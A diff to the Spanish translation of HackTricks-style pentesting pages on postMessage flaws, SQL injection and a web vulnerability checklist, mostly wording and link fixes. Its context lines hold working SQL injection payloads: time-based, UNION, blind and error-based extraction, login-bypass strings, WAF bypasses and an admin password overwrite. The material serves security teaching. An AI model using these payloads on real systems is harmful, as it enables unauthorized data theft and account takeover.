 En el **segundo escenario**, el **mensaje solo puede ser enviado a ese dominio** (incluso si el origen del objeto window es diferente).\
-Si se utiliza el **comodín**, los **mensajes podrían ser enviados a cualquier dominio**, y se enviarán al origen del objeto Window.
+Si se utiliza el **comodín**, **los mensajes podrían ser enviados a cualquier dominio**, y se enviarán al origen del objeto Window.
 
 ### Ataque a iframe y comodín en **targetOrigin**
 
@@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
 false
 )
 ```
-Nota en este caso cómo la **primera cosa** que el código está haciendo es **verificando el origen**. Esto es terriblemente **importante** principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints** y cambiar las contraseñas de las víctimas (en este ejemplo).
+Nota en este caso cómo lo **primero** que hace el código es **verificar el origen**. Esto es terriblemente **importante** principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints** y cambiar las contraseñas de las víctimas (en este ejemplo).
 
 ### Enumeración
 
@@ -102,7 +102,7 @@ Para **encontrar oyentes de eventos** en la página actual puedes:
 ```
 
 - La función **`match()`**, similar a `search()`, procesa regex. Si la regex está mal estructurada, podría ser propensa a eludir.
-- La función **`escapeHtml`** está destinada a sanitizar entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado, sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de tal manera que su propiedad controlada no reconozca `hasOwnProperty`, el `escapeHtml` no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:
+- La función **`escapeHtml`** está destinada a sanitizar entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado, sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de tal manera que su propiedad controlada no reconozca `hasOwnProperty`, la `escapeHtml` no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:
 
 - Fallo esperado:
 
@@ -128,9 +128,9 @@ En el contexto de esta vulnerabilidad, el objeto `File` es notablemente explotab
 
 Al incrustar una página web dentro de un **iframe sandboxed** usando %%%%%%, es crucial entender que el origen del iframe se establecerá en null. Esto es particularmente importante al tratar con **atributos sandbox** y sus implicaciones en la seguridad y funcionalidad.
 
-Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que a menos que el atributo **`allow-popups-to-escape-sandbox`** también esté incluido, el origen de la ventana emergente se establece igualmente en `null`, alineándose con el origen del iframe.
+Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que a menos que el atributo **`allow-popups-to-escape-sandbox`** también esté incluido, el origen de la ventana emergente se establece de manera similar en `null`, alineándose con el origen del iframe.
 
-En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos de envío y recepción tienen sus orígenes establecidos en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`.
+En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos, el de envío y el de recepción, tienen sus orígenes establecidos en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`.
 
 Para más información **lee**:
 
@@ -214,8 +214,8 @@ setTimeout(get_code, 2000)
 ```
 Para **más información**:
 
-- Enlace a la página sobre [**contaminación de prototipos**](../deserialization/nodejs-proto-prototype-pollution/)
-- Enlace a la página sobre [**XSS**](../xss-cross-site-scripting/)
+- Enlace a la página sobre [**contaminación de prototipos**](../deserialization/nodejs-proto-prototype-pollution/index.html)
+- Enlace a la página sobre [**XSS**](../xss-cross-site-scripting/index.html)
 - Enlace a la página sobre [**contaminación de prototipos del lado del cliente a XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 
 ## Referencias

src/pentesting-web/sql-injection/README.md

@@ -4,7 +4,7 @@
 
 ## ¿Qué es la inyección SQL?
 
-Una **inyección SQL** es una falla de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio.
+Una **inyección SQL** es un fallo de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio.
 
 ## Detección de puntos de entrada
 
@@ -21,7 +21,7 @@ Cuando un sitio parece ser **vulnerable a la inyección SQL (SQLi)** debido a re
 "))
 `))
 ```
-Entonces, necesitas saber cómo **arreglar la consulta para que no haya errores**. Para arreglar la consulta, puedes **ingresar** datos para que la **consulta anterior acepte los nuevos datos**, o simplemente puedes **ingresar** tus datos y **agregar un símbolo de comentario al final**.
+Luego, necesitas saber cómo **arreglar la consulta para que no haya errores**. Para arreglar la consulta, puedes **ingresar** datos para que la **consulta anterior acepte los nuevos datos**, o simplemente puedes **ingresar** tus datos y **agregar un símbolo de comentario al final**.
 
 _Nota que si puedes ver mensajes de error o puedes notar diferencias cuando una consulta está funcionando y cuando no, esta fase será más fácil._
 
@@ -68,7 +68,7 @@ Esta lista de palabras fue creada para intentar **confirmar SQLinjections** de l
 
 {% file src="../../images/sqli-logic.txt" %}
 
-### Confirmando con Tiempos
+### Confirmando con Tiempo
 
 En algunos casos **no notarás ningún cambio** en la página que estás probando. Por lo tanto, una buena manera de **descubrir inyecciones SQL ciegas** es hacer que la base de datos realice acciones que tendrán un **impacto en el tiempo** que necesita la página para cargar.\
 Por lo tanto, vamos a concatenar en la consulta SQL una operación que tomará mucho tiempo en completarse:
@@ -93,7 +93,7 @@ SQLite
 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
 ```
-En algunos casos, las **funciones de sleep no estarán permitidas**. Entonces, en lugar de usar esas funciones, podrías hacer que la consulta **realice operaciones complejas** que tomarán varios segundos. _Ejemplos de estas técnicas se comentarán por separado en cada tecnología (si las hay)_.
+En algunos casos, las **funciones de sleep no estarán permitidas**. Entonces, en lugar de usar esas funciones, podrías hacer que la consulta **realice operaciones complejas** que tardarán varios segundos. _Ejemplos de estas técnicas se comentarán por separado en cada tecnología (si las hay)_.
 
 ### Identificación del Back-end
 
@@ -136,7 +136,7 @@ También, si tienes acceso a la salida de la consulta, podrías hacer que **impr
 https://portswigger.net/web-security/sql-injection/cheat-sheet
 {{#endref}}
 
-## Explotando Basado en Unión
+## Explotando Basado en Union
 
 ### Detectando el número de columnas
 
@@ -170,7 +170,7 @@ Selecciona más y más valores nulos hasta que la consulta sea correcta:
 1' UNION SELECT null,null-- - Not working
 1' UNION SELECT null,null,null-- - Worked
 ```
-_Debes usar valores `null` ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
+_Deberías usar valores `null` ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
 
 ### Extraer nombres de bases de datos, nombres de tablas y nombres de columnas
 
@@ -197,7 +197,7 @@ Una vez que se ha extraído la consulta, es necesario adaptar su carga útil par
 
 Para obtener información más completa, consulte el artículo completo disponible en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
 
-## Explotando Basada en Errores
+## Explotando Basado en Errores
 
 Si por alguna razón **no puede** ver la **salida** de la **consulta** pero puede **ver los mensajes de error**, puede hacer que estos mensajes de error **exfiltren** datos de la base de datos.\
 Siguiendo un flujo similar al de la explotación basada en unión, podría lograr volcar la base de datos.
@@ -206,20 +206,20 @@ Siguiendo un flujo similar al de la explotación basada en unión, podría logra
 ```
 ## Explotando Blind SQLi
 
-En este caso, no puedes ver los resultados de la consulta o los errores, pero puedes **distinguir** cuando la consulta **devuelve** una respuesta **verdadera** o **falsa** porque hay diferentes contenidos en la página.\
+En este caso, no puedes ver los resultados de la consulta ni los errores, pero puedes **distinguir** cuando la consulta **devuelve** una respuesta **verdadera** o **falsa** porque hay diferentes contenidos en la página.\
 En este caso, puedes abusar de ese comportamiento para volcar la base de datos carácter por carácter:
 ```sql
 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
 ```
 ## Explotación de Error Blind SQLi
 
-Este es el **mismo caso que antes** pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, puedes **distinguir entre** un **error** en la consulta SQL o no (quizás porque el servidor HTTP se bloquea). Por lo tanto, en este caso puedes forzar un error SQL cada vez que adivinas correctamente el carácter:
+Este es el **mismo caso que antes** pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, puedes **distinguir entre** un **error** en la consulta SQL o no (quizás porque el servidor HTTP se bloquea). Por lo tanto, en este caso puedes forzar un SQLerror cada vez que adivinas correctamente el carácter:
 ```sql
 AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 ```
-## Explotando SQLi Basado en Tiempo
+## Explotación de SQLi Basado en Tiempo
 
-En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Pero, puedes hacer que la página **tarde más en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad SQLi](#confirming-with-timing).
+En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Pero, puedes hacer que la página **tarde más en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso anteriormente para [confirmar una vulnerabilidad SQLi](#confirming-with-timing).
 ```sql
 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
 ```
@@ -241,7 +241,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 ```
 ## Explotación Automatizada
 
-Consulta la [SQLMap Cheatsheet](sqlmap/) para explotar una vulnerabilidad de SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
+Consulta la [SQLMap Cheatsheet](sqlmap/index.html) para explotar una vulnerabilidad de SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
 
 ## Información técnica específica
 
@@ -249,9 +249,9 @@ Ya hemos discutido todas las formas de explotar una vulnerabilidad de Inyección
 
 - [MS Access](ms-access-sql-injection.md)
 - [MSSQL](mssql-injection.md)
-- [MySQL](mysql-injection/)
+- [MySQL](mysql-injection/index.html)
 - [Oracle](oracle-injection.md)
-- [PostgreSQL](postgresql-injection/)
+- [PostgreSQL](postgresql-injection/index.html)
 
 O encontrarás **muchos trucos sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite y HQL en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 
@@ -267,7 +267,7 @@ Lista para intentar eludir la funcionalidad de inicio de sesión:
 ```sql
 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
 ```
-Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a la inyección SQL. Los atacantes pueden explotar esto creando entradas que, cuando se hash, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
+Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, al ser hasheadas, producen partes inesperadas de comandos SQL, lo que lleva a accesos no autorizados.
 ```sql
 md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
 sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@@ -283,7 +283,7 @@ Deberías usar como nombre de usuario cada línea de la lista y como contraseña
 
 {% file src="../../images/sqli-hashbypass.txt" %}
 
-### Bypass de Autenticación GBK
+### Bypass de autenticación GBK
 
 SI ' está siendo escapado puedes usar %A8%27, y cuando ' se escapa se creará: 0xA80x5c0x27 (_╘'_)
 ```sql
@@ -322,7 +322,7 @@ La base de datos **verificará** si el **nombre de usuario** introducido **exist
 
 Más información: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 
-_Note: Este ataque ya no funcionará como se describe arriba en las últimas instalaciones de MySQL. Si bien las comparaciones aún ignoran los espacios en blanco finales por defecto, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error, y la inserción fallará. Para más información sobre esta verificación:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
+_Note: Este ataque ya no funcionará como se describe arriba en las últimas instalaciones de MySQL. Si bien las comparaciones aún ignoran los espacios en blanco al final por defecto, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error, y la inserción fallará. Para más información sobre esta verificación:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
 
 ### MySQL Insert time based checking
 
@@ -332,7 +332,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
 ```
 ### ON DUPLICATE KEY UPDATE
 
-La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en la PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
+La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en una PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
 
 Example Payload Injection:
 
@@ -380,7 +380,7 @@ Usando **hex** y **replace** (y **substr**):
 ```
 ## Inyección SQL enrutada
 
-La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que da salida, sino que la salida de la consulta inyectable va a la consulta que da salida. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
+La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que produce salida, sino que la salida de la consulta inyectable va a la consulta que produce salida. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
 
 Ejemplo:
 ```
@@ -402,11 +402,11 @@ No Space (%20) - bypass utilizando alternativas de espacio en blanco
 ?id=1%0Aand%0A1=1%0A--
 ?id=1%A0and%A01=1%A0--
 ```
-No Whitespace - eludir usando comentarios
+Sin espacio en blanco - eludir usando comentarios
 ```sql
 ?id=1/*comment*/and/**/1=1/**/--
 ```
-No Whitespace - eludir usando paréntesis
+Sin espacios en blanco - eludir usando paréntesis
 ```sql
 ?id=(1)and(1)=(1)--
 ```
@@ -434,7 +434,7 @@ OR    -> || -> %7C%7C
 > X   -> not between 0 and X
 WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
 ```
-### Bypass de WAF mediante Notación Científica
+### Bypass de WAF con Notación Científica
 
 Puedes encontrar una explicación más detallada de este truco en [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
 Básicamente, puedes usar la notación científica de maneras inesperadas para el WAF para eludirlo:
@@ -452,7 +452,7 @@ Es posible **acceder a la tercera columna de una tabla sin usar su nombre** util
 # This is an example with 3 columns that will extract the column number 3
 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
 ```
-O usando un **bypass de coma**:
+O usando un **comma bypass**:
 ```bash
 # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
 -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

src/pentesting-web/web-vulnerabilities-methodology.md

@@ -9,14 +9,14 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
 > [!NOTE]
 > Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
 
-- [ ] [**Abuso de encabezados hop-by-hop**](abusing-hop-by-hop-headers.md)
-- [ ] [**Envenenamiento de caché/Decepción de caché**](cache-deception/)
+- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
+- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/index.html)
 - [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
 - [ ] [**H2C Smuggling**](h2c-smuggling.md)
-- [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Descubriendo Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
-- [ ] [**Inyección del lado del servidor XSLT**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**Bypass de Protecciones de Proxy / WAF**](proxy-waf-protections-bypass.md)
+- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
+- [ ] [**Uncovering Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
+- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+- [ ] [**Proxy / WAF Protections Bypass**](proxy-waf-protections-bypass.md)
 
 ## **Entrada del usuario**
 
@@ -28,21 +28,21 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
 
 Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la página podría ser vulnerable a varios problemas.
 
-- [ ] [**Inyección de Plantillas del Lado del Cliente**](client-side-template-injection-csti.md)
-- [ ] [**Inyección de Comandos**](command-injection.md)
+- [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
+- [ ] [**Command Injection**](command-injection.md)
 - [ ] [**CRLF**](crlf-0d-0a.md)
-- [ ] [**Markup Colgante**](dangling-markup-html-scriptless-injection/)
-- [ ] [**Inclusión de Archivos/Recorrido de Rutas**](file-inclusion/)
-- [ ] [**Redirección Abierta**](open-redirect.md)
-- [ ] [**Contaminación de Prototipos a XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
-- [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Falsificación de Solicitudes del Lado del Servidor**](ssrf-server-side-request-forgery/)
-- [ ] [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/)
-- [ ] [**Nabbing de Pestañas Inverso**](reverse-tab-nabbing.md)
-- [ ] [**Inyección del lado del servidor XSLT**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](xss-cross-site-scripting/)
+- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
+- [ ] [**Open Redirect**](open-redirect.md)
+- [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
+- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
+- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)
+- [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
+- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+- [ ] [**XSS**](xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
-- [ ] [**XS-Search**](xs-search/)
+- [ ] [**XS-Search**](xs-search/index.html)
 
 Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, otras solo requieren que el contenido sea reflejado. Puedes encontrar algunos poliglotas interesantes para probar rápidamente las vulnerabilidades en:
 
@@ -54,52 +54,52 @@ pocs-and-polygloths-cheatsheet/
 
 Si la funcionalidad puede ser utilizada para buscar algún tipo de datos dentro del backend, tal vez puedas (mal) utilizarla para buscar datos arbitrarios.
 
-- [ ] [**Inclusión de Archivos/Recorrido de Rutas**](file-inclusion/)
-- [ ] [**Inyección NoSQL**](nosql-injection.md)
-- [ ] [**Inyección LDAP**](ldap-injection.md)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
+- [ ] [**NoSQL Injection**](nosql-injection.md)
+- [ ] [**LDAP Injection**](ldap-injection.md)
 - [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
-- [ ] [**Inyección SQL**](sql-injection/)
-- [ ] [**Inyección XPATH**](xpath-injection.md)
+- [ ] [**SQL Injection**](sql-injection/index.html)
+- [ ] [**XPATH Injection**](xpath-injection.md)
 
 ### **Formularios, WebSockets y PostMsgs**
 
 Cuando un websocket publica un mensaje o un formulario que permite a los usuarios realizar acciones, pueden surgir vulnerabilidades.
 
-- [ ] [**Falsificación de Solicitudes entre Sitios**](csrf-cross-site-request-forgery.md)
-- [ ] [**Secuestro de WebSocket entre sitios (CSWSH)**](websocket-attacks.md)
-- [ ] [**Vulnerabilidades de PostMessage**](postmessage-vulnerabilities/)
+- [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
+- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
+- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/index.html)
 
 ### **Encabezados HTTP**
 
 Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
 
 - [ ] [**Clickjacking**](clickjacking.md)
-- [ ] [**Bypass de Política de Seguridad de Contenido**](content-security-policy-csp-bypass/)
-- [ ] [**Hacking de Cookies**](hacking-with-cookies/)
-- [ ] [**CORS - Configuraciones Incorrectas y Bypass**](cors-bypass.md)
+- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](hacking-with-cookies/index.html)
+- [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
 
 ### **Bypasses**
 
 Hay varias funcionalidades específicas donde algunos métodos alternativos podrían ser útiles para eludirlas.
 
-- [ ] [**Bypass de 2FA/OTP**](2fa-bypass.md)
-- [ ] [**Bypass del Proceso de Pago**](bypass-payment-process.md)
-- [ ] [**Bypass de Captcha**](captcha-bypass.md)
-- [ ] [**Bypass de Inicio de Sesión**](login-bypass/)
-- [ ] [**Condición de Carrera**](race-condition.md)
-- [ ] [**Bypass de Límite de Tasa**](rate-limit-bypass.md)
-- [ ] [**Bypass de Restablecimiento de Contraseña Olvidada**](reset-password.md)
-- [ ] [**Vulnerabilidades de Registro**](registration-vulnerabilities.md)
+- [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
+- [ ] [**Bypass Payment Process**](bypass-payment-process.md)
+- [ ] [**Captcha Bypass**](captcha-bypass.md)
+- [ ] [**Login Bypass**](login-bypass/index.html)
+- [ ] [**Race Condition**](race-condition.md)
+- [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
+- [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
+- [ ] [**Registration Vulnerabilities**](registration-vulnerabilities.md)
 
-### **Objetos Estructurados / Funcionalidades Específicas**
+### **Objetos estructurados / Funcionalidades específicas**
 
-Algunas funcionalidades requerirán que **los datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
-Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza **un formato específico de entrada** (como Inyecciones de Encabezados de Correo Electrónico).
+Algunas funcionalidades requerirán que los **datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
+Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezado de Correo Electrónico).
 
-- [ ] [**Deserialización**](deserialization/)
-- [ ] [**Inyección de Encabezados de Correo Electrónico**](email-injections.md)
-- [ ] [**Vulnerabilidades de JWT**](hacking-jwt-json-web-tokens.md)
-- [ ] [**Entidad Externa XML**](xxe-xee-xml-external-entity.md)
+- [ ] [**Deserialization**](deserialization/index.html)
+- [ ] [**Email Header Injection**](email-injections.md)
+- [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
+- [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
 
 ### Archivos
 
@@ -107,23 +107,23 @@ Las funcionalidades que permiten subir archivos podrían ser vulnerables a vario
 Las funcionalidades que generan archivos incluyendo la entrada del usuario podrían ejecutar código inesperado.\
 Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían verse comprometidos.
 
-- [ ] [**Subida de Archivos**](file-upload/)
-- [ ] [**Inyección de Fórmulas**](formula-csv-doc-latex-ghostscript-injection.md)
-- [ ] [**Inyección de PDF**](xss-cross-site-scripting/pdf-injection.md)
-- [ ] [**XSS del lado del servidor**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
+- [ ] [**File Upload**](file-upload/index.html)
+- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
+- [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
+- [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 
 ### **Gestión de Identidad Externa**
 
-- [ ] [**OAUTH para Toma de Cuenta**](oauth-to-account-takeover.md)
-- [ ] [**Ataques SAML**](saml-attacks/)
+- [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
+- [ ] [**SAML Attacks**](saml-attacks/index.html)
 
 ### **Otras Vulnerabilidades Útiles**
 
 Estas vulnerabilidades podrían ayudar a explotar otras vulnerabilidades.
 
-- [ ] [**Toma de Dominio/Subdominio**](domain-subdomain-takeover.md)
+- [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
 - [ ] [**IDOR**](idor.md)
-- [ ] [**Contaminación de Parámetros**](parameter-pollution.md)
-- [ ] [**Vulnerabilidad de Normalización Unicode**](unicode-injection/)
+- [ ] [**Parameter Pollution**](parameter-pollution.md)
+- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/web-vulnerabilities-methodology/README.md

@@ -7,11 +7,11 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
 ## Proxies
 
 > [!NOTE]
-> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
+> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que haya un proxy vulnerable en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
 
 - [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
 - [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
-- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
+- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
 - [ ] [**H2C Smuggling**](../h2c-smuggling.md)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
 - [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
@@ -31,16 +31,16 @@ Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la
 - [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
 - [ ] [**Command Injection**](../command-injection.md)
